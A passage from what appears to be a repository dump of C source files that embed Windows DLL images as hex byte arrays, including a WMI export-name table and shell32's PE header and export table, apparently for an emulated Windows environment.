//GetFirstTraceOff\n/* 7E29A000 */   \"\\x73\\x65\\x74\\x00\\x57\\x6D\\x69\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\\x45\\x76\"   //set.WmiGetNextEv\n/* 7E29A020 */   \"\\x65\\x6E\\x74\\x00\\x57\\x6D\\x69\\x47\\x65\\x74\\x54\\x72\\x61\\x63\\x65\\x48\"   //ent.WmiGetTraceH\n/* 7E29A040 */   \"\\x65\\x61\\x64\\x65\\x72\\x00\\x57\\x6D\\x69\\x4D\\x6F\\x66\\x45\\x6E\\x75\\x6D\"   //eader.WmiMofEnum\n/* 7E29A060 */   \"\\x65\\x72\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x41\\x00\"   //erateResourcesA.\n/* 7E29A080 */   \"\\x57\\x6D\\x69\\x4D\\x6F\\x66\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x52\"   //WmiMofEnumerateR\n/* 7E29A0A0 */   \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x57\\x00\\x57\\x6D\\x69\\x4E\\x6F\\x74\"   //esourcesW.WmiNot\n/* 7E29A0C0 */   \"\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\"   //ificationRegistr\n/* 7E29A0E0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x57\\x6D\\x69\\x4E\\x6F\\x74\\x69\\x66\\x69\"   //ationA.WmiNotifi\n/* 7E29A100 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x61\\x74\\x69\"   //cationRegistrati\n/* 7E29A120 */   \"\\x6F\\x6E\\x57\\x00\\x57\\x6D\\x69\\x4F\\x70\\x65\\x6E\\x42\\x6C\\x6F\\x63\\x6B\"   //onW.WmiOpenBlock\n/* 7E29A140 */   \"\\x00\\x57\\x6D\\x69\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x57\\x69\\x74\"   //.WmiOpenTraceWit\n/* 7E29A160 */   \"\\x68\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x57\\x6D\\x69\\x50\\x61\\x72\\x73\\x65\"   //hCursor.WmiParse\n/* 7E29A180 */   \"\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x6D\\x69\\x51\\x75\"   //TraceEvent.WmiQu\n/* 7E29A1A0 */   \"\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x41\\x00\\x57\\x6D\\x69\\x51\"   //eryAllDataA.WmiQ\n/* 7E29A1C0 */   \"\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x4D\\x75\\x6C\\x74\\x69\"   //ueryAllDataMulti\n/* 7E29A1E0 */   \"\\x70\\x6C\\x65\\x41\\x00\\x57\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\"   //pleA.WmiQueryAll\n/* 7E29A200 */   \"\\x44\\x61\\x74\\x61\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x57\\x00\\x57\\x6D\"   //DataMultipleW.Wm\n/* 7E29A220 */   \"\\x69\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x57\\x00\\x57\"   //iQueryAllDataW.W\n/* 7E29A240 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x47\\x75\\x69\\x64\\x49\\x6E\\x66\\x6F\\x72\"   //miQueryGuidInfor\n/* 7E29A260 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x57\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\"   //mation.WmiQueryS\n/* 7E29A280 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x41\\x00\\x57\"   //ingleInstanceA.W\n/* 7E29A2A0 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 7E29A2C0 */   \"\\x74\\x61\\x6E\\x63\\x65\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x41\\x00\\x57\"   //tanceMultipleA.W\n/* 7E29A2E0 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 7E29A300 */   \"\\x74\\x61\\x6E\\x63\\x65\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x57\\x00\\x57\"   //tanceMultipleW.W\n/* 7E29A320 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 7E29A340 */   \"\\x74\\x61\\x6E\\x63\\x65\\x57\\x00\\x57\\x6D\\x69\\x52\\x65\\x63\\x65\\x69\\x76\"   //tanceW.WmiReceiv\n/* 7E29A360 */   \"\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x41\\x00\"   //eNotificationsA.\n/* 7E29A380 */   \"\\x57\\x6D\\x69\\x52\\x65\\x63\\x65\\x69\\x76\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\"   //WmiReceiveNotifi\n/* 7E29A3A0 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x57\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\"   //cationsW.WmiSetS\n/* 7E29A3C0 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x41\\x00\\x57\"   //ingleInstanceA.W\n/* 7E29A3E0 */   \"\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\"   //miSetSingleInsta\n/* 7E29A400 */   \"\\x6E\\x63\\x65\\x57\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\\x67\\x6C\"   //nceW.WmiSetSingl\n/* 7E29A420 */   \"\\x65\\x49\\x74\\x65\\x6D\\x41\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\"   //eItemA.WmiSetSin\n/* 7E29A440 */   \"\\x67\\x6C\\x65\\x49\\x74\\x65\\x6D\\x57\\x00\\x57\\x6F\\x77\\x36\\x34\\x57\\x69\"   //gleItemW.Wow64Wi\n/* 7E29A460 */   \"\\x6E\\x33\\x32\\x41\\x70\\x69\\x45\\x6E\\x74\\x72\\x79\\x00\\x57\\x72\\x69\\x74\"   //n32ApiEntry.Writ\n/* 7E29A480 */   \"\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\"   //eEncryptedFileRa\n/* 7E29A4A0 */   \"\\x77\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //w...............\n;\n\n"
  },
  {
    "path": "src/environment/win32/dlls/shell32dll.c",
    "content": "const char shell32_7C9C0000[]= /* pe header and section table -dzzie*/\n/* 7C9C0000 */   \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\"   //MZ..........ÿÿ..\n/* 7C9C0020 */   \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //........@.......\n/* 7C9C0040 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7C9C0060 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x00\\x00\\x00\"   //............à...\n/* 7C9C0080 */   \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\"   //.......Í!..LÍ!Th\n/* 7C9C00A0 */   \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\"   //is.program.canno\n/* 7C9C00C0 */   \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\"   //t.be.run.in.DOS.\n/* 7C9C00E0 */   \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //mode....$.......\n/* 7C9C0100 */   \"\\x8A\\xC0\\x21\\x33\\xCE\\xA1\\x4F\\x60\\xCE\\xA1\\x4F\\x60\\xCE\\xA1\\x4F\\x60\"   //.À!3Î.O`Î.O`Î.O`\n/* 7C9C0120 */   \"\\xCE\\xA1\\x4E\\x60\\x5F\\xA4\\x4F\\x60\\x0D\\xAE\\x12\\x60\\xDF\\xA1\\x4F\\x60\"   //Î.N`_.O`...`ß.O`\n/* 7C9C0140 */   \"\\x0D\\xAE\\x40\\x60\\xC7\\xA1\\x4F\\x60\\x0D\\xAE\\x2F\\x60\\xF5\\xA0\\x4F\\x60\"   //..@`Ç.O`../`õ.O`\n/* 7C9C0160 */   \"\\x0D\\xAE\\x13\\x60\\xCF\\xA1\\x4F\\x60\\x0D\\xAE\\x11\\x60\\xCF\\xA1\\x4F\\x60\"   //...`Ï.O`...`Ï.O`\n/* 7C9C0180 */   \"\\x0D\\xAE\\x10\\x60\\xB1\\xA1\\x4F\\x60\\x0D\\xAE\\x15\\x60\\xCF\\xA1\\x4F\\x60\"   //...`..O`...`Ï.O`\n/* 7C9C01A0 */   \"\\x52\\x69\\x63\\x68\\xCE\\xA1\\x4F\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //RichÎ.O`........\n/* 7C9C01C0 */   \"\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\\x0A\\x7D\\x4E\\x4C\\x5B\\x4C\\x6F\\x72\"   //PE..L....}NL[Lor\n/* 7C9C01E0 */   \"\\x64\\x50\\x45\\x5D\\xE0\\x00\\x0E\\x21\\x0B\\x01\\x07\\x0A\\x00\\xDE\\x1F\\x00\"   //dPE]à..!.....Þ..\n/* 7C9C0200 */   \"\\x00\\x5E\\x61\\x00\\x00\\x00\\x00\\x00\\xD6\\x74\\x02\\x00\\x00\\x10\\x00\\x00\"   //.^a.....Öt......\n/* 7C9C0220 */   \"\\x00\\x80\\x1F\\x00\\x00\\x00\\x9C\\x7C\\x00\\x10\\x00\\x00\\x00\\x10\\x00\\x00\"   //.......|........\n/* 7C9C0240 */   \"\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\\x04\\x00\\x0A\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7C9C0260 */   \"\\x00\\x70\\x81\\x00\\x00\\x10\\x00\\x00\\xDA\\x3A\\x81\\x00\\x02\\x00\\x00\\x00\"   //.p......Ú:......\n/* 7C9C0280 */   \"\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\"   //................\n/* 7C9C02A0 */   \"\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x50\\x7D\\x02\\x00\\x18\\x29\\x00\\x00\"   //........P}...)..\n/* 7C9C02C0 */   \"\\x6C\\x99\\x1F\\x00\\xB4\\x00\\x00\\x00\\x00\\xC0\\x21\\x00\\xA0\\xF4\\x5D\\x00\"   //l........À!..ô].\n/* 7C9C02E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7C9C0300 */   \"\\x00\\xC0\\x7F\\x00\\xFC\\xA4\\x01\\x00\\x80\\xEC\\x1F\\x00\\x38\\x00\\x00\\x00\"   //.À..ü....ì..8...\n/* 7C9C0320 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7C9C0340 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x88\\x25\\x0A\\x00\\x40\\x00\\x00\\x00\"   //.........%..@...\n/* 7C9C0360 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x7C\\x11\\x00\\x00\"   //............|...\n/* 7C9C0380 */   \"\\xD0\\x7B\\x1F\\x00\\x40\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //Ð{..@...........\n/* 7C9C03A0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2E\\x74\\x65\\x78\\x74\\x00\\x00\\x00\"   //.........text...\n/* 7C9C03C0 */   \"\\xE0\\xDC\\x1F\\x00\\x00\\x10\\x00\\x00\\xE0\\xDC\\x1F\\x00\\x00\\x10\\x00\\x00\"   //àÜ......àÜ......\n/* 7C9C03E0 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x60\"   //...............`\n/* 7C9C0400 */   \"\\x2E\\x64\\x61\\x74\\x61\\x00\\x00\\x00\\xB0\\xC1\\x01\\x00\\x00\\xF0\\x1F\\x00\"   //.data....Á...ð..\n/* 7C9C0420 */   \"\\xB0\\xC1\\x01\\x00\\x00\\xF0\\x1F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //.Á...ð..........\n/* 7C9C0440 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\xC0\\x2E\\x72\\x73\\x72\\x63\\x00\\x00\\x00\"   //....@..À.rsrc...\n/* 7C9C0460 */   \"\\xA0\\xF4\\x5D\\x00\\x00\\xC0\\x21\\x00\\xA0\\xF4\\x5D\\x00\\x00\\xC0\\x21\\x00\"   //.ô]..À!..ô]..À!.\n/* 7C9C0480 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x40\"   //............@..@\n/* 7C9C04A0 */   \"\\x2E\\x72\\x65\\x6C\\x6F\\x63\\x00\\x00\\xFC\\xA4\\x01\\x00\\x00\\xC0\\x7F\\x00\"   //.reloc..ü....À..\n/* 7C9C04C0 */   \"\\xFC\\xA4\\x01\\x00\\x00\\xC0\\x7F\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //ü....À..........\n/* 7C9C04E0 */   \"\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x42\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //....@..B........\n/* 7C9C0500 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n/* 7C9C0520 */   \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //................\n;\n\nconst char shell32_7c9e7d50[]= /* export table */\n/* 7C9E7D50 */   \"\\x00\\x00\\x00\\x00\\x39\\x75\\x4E\\x4C\\x00\\x00\\x00\\x00\\x82\\x90\\x02\\x00\"   //....9uNL........\n/* 7C9E7D70 */   \"\\x02\\x00\\x00\\x00\\xF3\\x02\\x00\\x00\\x35\\x01\\x00\\x00\\x78\\x7D\\x02\\x00\"   //....ó...5...x}..\n/* 7C9E7D90 */   \"\\x44\\x89\\x02\\x00\\x18\\x8E\\x02\\x00\\x0B\\xEB\\x03\\x00\\x4E\\x4E\\x0F\\x00\"   //D........ë..NN..\n/* 7C9E7DB0 */   \"\\xCA\\x49\\x03\\x00\\x0D\\x89\\x13\\x00\\xB1\\x56\\x04\\x00\\xCF\\x94\\x11\\x00\"   //ÊI.......V..Ï...\n/* 7C9E7DD0 */   \"\\xBF\\x94\\x11\\x00\\x45\\x40\\x0C\\x00\\xC8\\x32\\x0C\\x00\\x47\\x3B\\x0C\\x00\"   //....E@..È2..G;..\n/* 7C9E7DF0 */   \"\\x8B\\x1C\\x11\\x00\\xAC\\x2B\\x0C\\x00\\x25\\x1C\\x11\\x00\\x6C\\x7A\\x0F\\x00\"   //.....+..%...lz..\n/* 7C9E7E10 */   \"\\x2C\\xCE\\x02\\x00\\x67\\xC6\\x02\\x00\\xA5\\xB2\\x02\\x00\\x14\\xB5\\x02\\x00\"   //,Î..gÆ..........\n/* 7C9E7E30 */   \"\\x9E\\x79\\x0F\\x00\\xEB\\x11\\x03\\x00\\xAF\\xEB\\x0E\\x00\\x08\\x14\\x03\\x00\"   //.y..ë....ë......\n/* 7C9E7E50 */   \"\\xC8\\x14\\x03\\x00\\xC5\\xB5\\x02\\x00\\x7F\\xD3\\x04\\x00\\x84\\xF4\\x06\\x00\"   //È...Å....Ó...ô..\n/* 7C9E7E70 */   \"\\xF0\\xE5\\x02\\x00\\x20\\x4F\\x0B\\x00\\xF5\\xA5\\x02\\x00\\x7F\\x4E\\x0B\\x00\"   //ðå...O..õ....N..\n/* 7C9E7E90 */   \"\\xED\\x4E\\x0B\\x00\\xA1\\x4E\\x0B\\x00\\xFE\\x4E\\x0B\\x00\\xC3\\x4E\\x0B\\x00\"   //íN...N..þN..ÃN..\n/* 7C9E7EB0 */   \"\\xF4\\x4F\\x0B\\x00\\x0C\\xA6\\x02\\x00\\x0F\\x4F\\x0B\\x00\\x21\\xA6\\x02\\x00\"   //ôO.......O..!...\n/* 7C9E7ED0 */   \"\\x34\\xA6\\x02\\x00\\x9A\\x51\\x0B\\x00\\x51\\x78\\x03\\x00\\x5E\\x75\\x03\\x00\"   //4....Q..Qx..^u..\n/* 7C9E7EF0 */   \"\\x01\\xE1\\x0C\\x00\\xC1\\x4F\\x0B\\x00\\x7D\\x4F\\x0B\\x00\\xCC\\x55\\x0B\\x00\"   //.á..ÁO..}O..ÌU..\n/* 7C9E7F10 */   \"\\x4A\\x4F\\x0B\\x00\\xE4\\x51\\x0B\\x00\\xB2\\x4E\\x0B\\x00\\xB2\\x94\\x04\\x00\"   //JO..äQ...N......\n/* 7C9E7F30 */   \"\\x4C\\x4E\\x0B\\x00\\xE4\\x84\\x0B\\x00\\x25\\x8D\\x0B\\x00\\x6C\\x4F\\x0B\\x00\"   //LN..ä...%...lO..\n/* 7C9E7F50 */   \"\\x5B\\x4F\\x0B\\x00\\x4C\\xA6\\x02\\x00\\xE8\\x0B\\x0D\\x00\\x55\\x8D\\x0B\\x00\"   //[O..L...è...U...\n/* 7C9E7F70 */   \"\\x73\\x8D\\x0B\\x00\\x5E\\x02\\x08\\x00\\x67\\x64\\x0B\\x00\\x1B\\x75\\x0F\\x00\"   //s...^...gd...u..\n/* 7C9E7F90 */   \"\\xAA\\x0E\\x03\\x00\\x29\\x4F\\x07\\x00\\x18\\x06\\x03\\x00\\x04\\xF2\\x03\\x00\"   //....)O.......ò..\n/* 7C9E7FB0 */   \"\\x60\\xC8\\x02\\x00\\xEA\\x19\\x11\\x00\\x0F\\x26\\x0B\\x00\\x8E\\x3B\\x03\\x00\"   //`È..ê....&...;..\n/* 7C9E7FD0 */   \"\\x68\\x3E\\x03\\x00\\x28\\xAD\\x10\\x00\\xCA\\x6E\\x0A\\x00\\xE1\\x08\\x07\\x00\"   //h>..(...Ên..á...\n/* 7C9E7FF0 */   \"\\x7E\\x7B\\x0B\\x00\\x54\\x3A\\x04\\x00\\xB3\\xE7\\x02\\x00\\xEC\\x46\\x0B\\x00\"   //~{..T:...ç..ìF..\n/* 7C9E8010 */   \"\\x11\\x97\\x0B\\x00\\x01\\xE1\\x0C\\x00\\xA6\\xAD\\x19\\x00\\x5D\\xE6\\x04\\x00\"   //.....á......]æ..\n/* 7C9E8030 */   \"\\xF3\\x40\\x0B\\x00\\xF6\\xC4\\x04\\x00\\x77\\x3F\\x0B\\x00\\x88\\x3F\\x0B\\x00\"   //ó@..öÄ..w?...?..\n/* 7C9E8050 */   \"\\x9D\\xED\\x0E\\x00\\x53\\x70\\x03\\x00\\x2A\\xE5\\x10\\x00\\x4B\\xE4\\x10\\x00\"   //.í..Sp..*å..Kä..\n/* 7C9E8070 */   \"\\x1E\\x50\\x0B\\x00\\x12\\x1D\\x05\\x00\\x74\\x48\\x0B\\x00\\xEB\\x44\\x07\\x00\"   //.P......tH..ëD..\n/* 7C9E8090 */   \"\\xC3\\x46\\x0B\\x00\\xAB\\x5A\\x0F\\x00\\x09\\x8E\\x07\\x00\\x02\\x9B\\x04\\x00\"   //ÃF...Z..........\n/* 7C9E80B0 */   \"\\x09\\xC5\\x02\\x00\\xBB\\xE1\\x0C\\x00\\x42\\xB0\\x02\\x00\\xC8\\x5B\\x0F\\x00\"   //.Å...á..B...È[..\n/* 7C9E80D0 */   \"\\xB4\\xF1\\x0C\\x00\\x1F\\x8C\\x0D\\x00\\x21\\xB4\\x0B\\x00\\x78\\xB3\\x0B\\x00\"   //.ñ......!...x...\n/* 7C9E80F0 */   \"\\xA0\\x13\\x08\\x00\\x10\\x17\\x0B\\x00\\x10\\x17\\x0B\\x00\\x05\\x18\\x0B\\x00\"   //................\n/* 7C9E8110 */   \"\\xE8\\x23\\x0B\\x00\\xE8\\x23\\x0B\\x00\\x9A\\x24\\x0B\\x00\\x41\\x24\\x0B\\x00\"   //è#..è#...$..A$..\n/* 7C9E8130 */   \"\\xCD\\xA2\\x06\\x00\\x99\\x28\\x03\\x00\\x1B\\x64\\x04\\x00\\x51\\x78\\x03\\x00\"   //Í....(...d..Qx..\n/* 7C9E8150 */   \"\\xCC\\x1D\\x0F\\x00\\x6C\\x3F\\x0B\\x00\\xEC\\xD7\\x0B\\x00\\x99\\x3F\\x0B\\x00\"   //Ì...l?..ì×...?..\n/* 7C9E8170 */   \"\\x79\\x9B\\x03\\x00\\x79\\x9B\\x03\\x00\\x51\\x64\\x1A\\x00\\x0D\\x0F\\x0D\\x00\"   //y...y...Qd......\n/* 7C9E8190 */   \"\\x99\\x28\\x03\\x00\\x70\\x57\\x0E\\x00\\x26\\xEC\\x0E\\x00\\x08\\xEC\\x0E\\x00\"   //.(..pW..&ì...ì..\n/* 7C9E81B0 */   \"\\x3C\\xED\\x0E\\x00\\x5A\\x37\\x0B\\x00\\x61\\xEC\\x0E\\x00\\xB7\\x0D\\x08\\x00\"   //<í..Z7..aì......\n/* 7C9E81D0 */   \"\\xA1\\xEC\\x0E\\x00\\xE4\\xF6\\x04\\x00\\x01\\xB2\\x06\\x00\\xE5\\x7C\\x0B\\x00\"   //.ì..äö......å|..\n/* 7C9E81F0 */   \"\\xF6\\x7C\\x0B\\x00\\xF6\\x7C\\x0B\\x00\\x39\\x83\\x05\\x00\\x16\\x83\\x05\\x00\"   //ö|..ö|..9.......\n/* 7C9E8210 */   \"\\x88\\x7C\\x0B\\x00\\x6E\\x4E\\x0B\\x00\\x6A\\x81\\x0B\\x00\\x63\\xCC\\x02\\x00\"   //.|..nN..j...cÌ..\n/* 7C9E8230 */   \"\\x74\\x2D\\x04\\x00\\xFE\\xCE\\x10\\x00\\xFF\\x2A\\x0B\\x00\\xD1\\xAC\\x02\\x00\"   //t-..þÎ..ÿ*..Ñ...\n/* 7C9E8250 */   \"\\x40\\xB2\\x02\\x00\\xC7\\x44\\x07\\x00\\xF9\\x78\\x0F\\x00\\x7C\\xAB\\x02\\x00\"   //@...ÇD..ùx..|...\n/* 7C9E8270 */   \"\\xAE\\x79\\x0F\\x00\\x8F\\xE7\\x02\\x00\\x75\\x4B\\x0B\\x00\\x37\\x9D\\x04\\x00\"   //.y...ç..uK..7...\n/* 7C9E8290 */   \"\\xC4\\x1A\\x11\\x00\\xCD\\x23\\x0B\\x00\\xB9\\xB1\\x02\\x00\\x2F\\x47\\x0B\\x00\"   //Ä...Í#....../G..\n/* 7C9E82B0 */   \"\\x1D\\x05\\x07\\x00\\x75\\xA9\\x0A\\x00\\xE2\\xD7\\x0B\\x00\\xE3\\x78\\x0B\\x00\"   //....u...â×..ãx..\n/* 7C9E82D0 */   \"\\x13\\x7B\\x0B\\x00\\xAC\\x78\\x0B\\x00\\x3B\\x79\\x0B\\x00\\xC4\\x0A\\x07\\x00\"   //.{...x..;y..Ä...\n/* 7C9E82F0 */   \"\\xA3\\x2A\\x10\\x00\\x18\\x54\\x0F\\x00\\xB4\\xB1\\x10\\x00\\xD8\\xB1\\x02\\x00\"   //.*...T......Ø...\n/* 7C9E8310 */   \"\\xA0\\x42\\x10\\x00\\x90\\xED\\x0E\\x00\\x8A\\x3A\\x0B\\x00\\x0F\\x29\\x10\\x00\"   //.B...í...:...)..\n/* 7C9E8330 */   \"\\x62\\x0B\\x07\\x00\\x1A\\x12\\x05\\x00\\x3A\\xCD\\x1D\\x00\\x9E\\x3E\\x0B\\x00\"   //b.......:Í...>..\n/* 7C9E8350 */   \"\\xF8\\x13\\x0D\\x00\\x1E\\x4B\\x1E\\x00\\xBE\\x79\\x0F\\x00\\x89\\x7A\\x0F\\x00\"   //ø....K...y...z..\n/* 7C9E8370 */   \"\\x38\\x3D\\x05\\x00\\x58\\x7B\\x0F\\x00\\x8F\\xE7\\x02\\x00\\xA5\\xB7\\x0F\\x00\"   //8=..X{...ç......\n/* 7C9E8390 */   \"\\x66\\xB6\\x0F\\x00\\xBE\\xAF\\x0F\\x00\\xA3\\x79\\x0B\\x00\\x7A\\xA9\\x02\\x00\"   //f........y..z...\n/* 7C9E83B0 */   \"\\x10\\xB2\\x02\\x00\\x29\\x4F\\x07\\x00\\xF2\\x34\\x10\\x00\\x15\\x36\\x0B\\x00\"   //....)O..ò4...6..\n/* 7C9E83D0 */   \"\\x4C\\x0E\\x05\\x00\\x54\\x3A\\x05\\x00\\x0E\\xAD\\x19\\x00\\xCC\\x3E\\x0D\\x00\"   //L...T:......Ì>..\n/* 7C9E83F0 */   \"\\xC7\\x0B\\x0D\\x00\\x04\\xCF\\x0F\\x00\\x56\\x33\\x0B\\x00\\x8B\\x31\\x0B\\x00\"   //Ç....Ï..V3...1..\n/* 7C9E8410 */   \"\\x49\\x34\\x0B\\x00\\xEA\\x3E\\x0D\\x00\\xA1\\x40\\x0D\\x00\\xDF\\xAC\\x16\\x00\"   //I4..ê>...@..ß...\n/* 7C9E8430 */   \"\\x61\\x77\\x0B\\x00\\xC5\\xBA\\x0F\\x00\\x69\\xBB\\x0F\\x00\\x25\\x1C\\x11\\x00\"   //aw..Å...i...%...\n/* 7C9E8450 */   \"\\xA7\\x34\\x0B\\x00\\xEE\\x2A\\x0B\\x00\\xEE\\x2A\\x0B\\x00\\xBF\\x6C\\x03\\x00\"   //.4..î*..î*...l..\n/* 7C9E8470 */   \"\\x1F\\x31\\x0B\\x00\\x16\\x2C\\x0B\\x00\\x96\\x18\\x07\\x00\\x81\\x96\\x06\\x00\"   //.1...,..........\n/* 7C9E8490 */   \"\\x0D\\x89\\x13\\x00\\x54\\xFA\\x07\\x00\\xE6\\xFA\\x07\\x00\\xB5\\x2B\\x0B\\x00\"   //....Tú..æú...+..\n/* 7C9E84B0 */   \"\\x69\\x23\\x06\\x00\\x0B\\x35\\x0B\\x00\\xFA\\x16\\x0F\\x00\\x68\\xA1\\x0F\\x00\"   //i#...5..ú...h...\n/* 7C9E84D0 */   \"\\x1F\\x9D\\x0F\\x00\\xFC\\x1A\\x05\\x00\\x30\\x42\\x11\\x00\\x52\\x96\\x05\\x00\"   //....ü...0B..R...\n/* 7C9E84F0 */   \"\\x81\\x95\\x05\\x00\\xF6\\x4E\\x04\\x00\\x62\\xC8\\x19\\x00\\x91\\x12\\x03\\x00\"   //....öN..bÈ......\n/* 7C9E8510 */   \"\\x21\\x4C\\x0B\\x00\\x3A\\x1D\\x05\\x00\\xF5\\x21\\x03\\x00\\xF7\\x3A\\x05\\x00\"   //!L..:...õ!..÷:..\n/* 7C9E8530 */   \"\\x6F\\x39\\x0D\\x00\\x97\\xBF\\x04\\x00\\x1C\\x7E\\x0F\\x00\\x5F\\x7E\\x0F\\x00\"   //o9.......~.._~..\n/* 7C9E8550 */   \"\\x6A\\x7E\\x0F\\x00\\x9F\\x4F\\x0B\\x00\\x90\\x4E\\x0B\\x00\\x5D\\x4E\\x0B\\x00\"   //j~...O...N..]N..\n/* 7C9E8570 */   \"\\xB0\\x4F\\x0B\\x00\\xBE\\x7E\\x0F\\x00\\x3D\\x8D\\x0B\\x00\\x62\\xC8\\x19\\x00\"   //.O...~..=...bÈ..\n/* 7C9E8590 */   \"\\x6A\\x08\\x04\\x00\\xD1\\xAC\\x02\\x00\\x3E\\x84\\x06\\x00\\x2D\\x28\\x03\\x00\"   //j...Ñ...>...-(..\n/* 7C9E85B0 */   \"\\x8E\\xC8\\x19\\x00\\x40\\x74\\x0B\\x00\\x40\\x74\\x0B\\x00\\xC5\\x74\\x0B\\x00\"   //.È..@t..@t..Åt..\n/* 7C9E85D0 */   \"\\x02\\x5E\\x0F\\x00\\xB0\\x5C\\x0F\\x00\\x59\\x5D\\x0F\\x00\\x35\\x5E\\x0F\\x00\"   //.^...\\..Y]..5^..\n/* 7C9E85F0 */   \"\\xB6\\xD3\\x0B\\x00\\x7A\\xFD\\x06\\x00\\x0F\\x41\\x10\\x00\\x18\\x3D\\x03\\x00\"   